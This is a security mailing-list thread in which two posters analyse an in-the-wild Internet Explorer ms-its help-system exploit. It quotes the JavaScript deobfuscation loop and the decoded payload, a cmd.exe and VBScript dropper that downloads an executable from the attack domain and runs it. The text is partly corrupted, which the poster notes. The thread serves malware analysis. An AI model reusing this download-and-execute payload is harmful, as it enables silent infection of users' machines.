Internet Explorer Help System RCE

[Mike Allen]

Hi, quick question on decoding. A little background
first. Earlier tonight, one of my co-workers found
what might he thinks might be the first "in the wild"
example of the Internet Explorer/ms-its protocol
vulnerability. (Discussed at
gossamer-threads.com/lists/fulldisc/full-disclosure/30100.)
The exploit itself is based on a Proof-of-Concept by
ShredderSub7. This is another unpatched flaw that has
been known since at least December. This particular
exploit attempts to download a phony JPEG file from
iframedollars.biz/dl/adv622/JQTmudI.jpg (the SubSeven
PoC downloads a harmless htm.txt file instead). This
not a JPEG, but, rather, is a BASE64-encoded PHP
script. There is a decoding script at the end, but I
cannot make heads nor tails of what this decodes to. I
have very little PHP experience, but it seems to take
a character out of an encoded string, subtract that
from 127, and then convert it to Unicode. Here is the
decoding script:

for(i=0;i<568;i++)s=s.substr(1)+String.fromCharCode(127-s.charCodeAt(0));document.write(s);

I wrote a small decoder in assembly to perform what I
think this thing does, but all I got was the original
code. Am I missing something here? Is this really an
obfuscation script or am I chasing ghosts?

It's be happy to provide the munged data itself, if I
can cut 'n' paste it, but I'm basically interested in
knowing whether I am even on the right track.

Mike



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[Duncan Hill]

Post by Mike Allen
iframedollars.biz/dl/adv622/JQTmudI.jpg

Modded it slightly to do alert instead of document.write and executed on my
Linux box.

u Q< WVruCP A<object id=a
classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11>
<param name=command ______alue=shortcut>
<param name=item1 __alue=',cmd.exe,/c start /min cmd.exe /c "echo on error
resume next : set o = CreateObject("msxm"+"l2.X"+"MLH"+"TTP") : o.open
"G"+"ET","http://iframedollars.biz/dl/loadad____622.exe",False : o.send : set
s = createobject("adod"+"b.str"+"eam") : s.type=1 : s.open : s.write
o.responseBody : s.sa____etofile "C:"+"\"+"w.e"+"xe",2 > c:\c.___bs&&wscript
c:\c.______bs&&del c:\c.___bs&&if exist c:\w.exe start c:\w.exe"'>
</object>
<script>

Not sure if the corruption is from editing the script.

Oh, that script at the end is javascript btw, not php.
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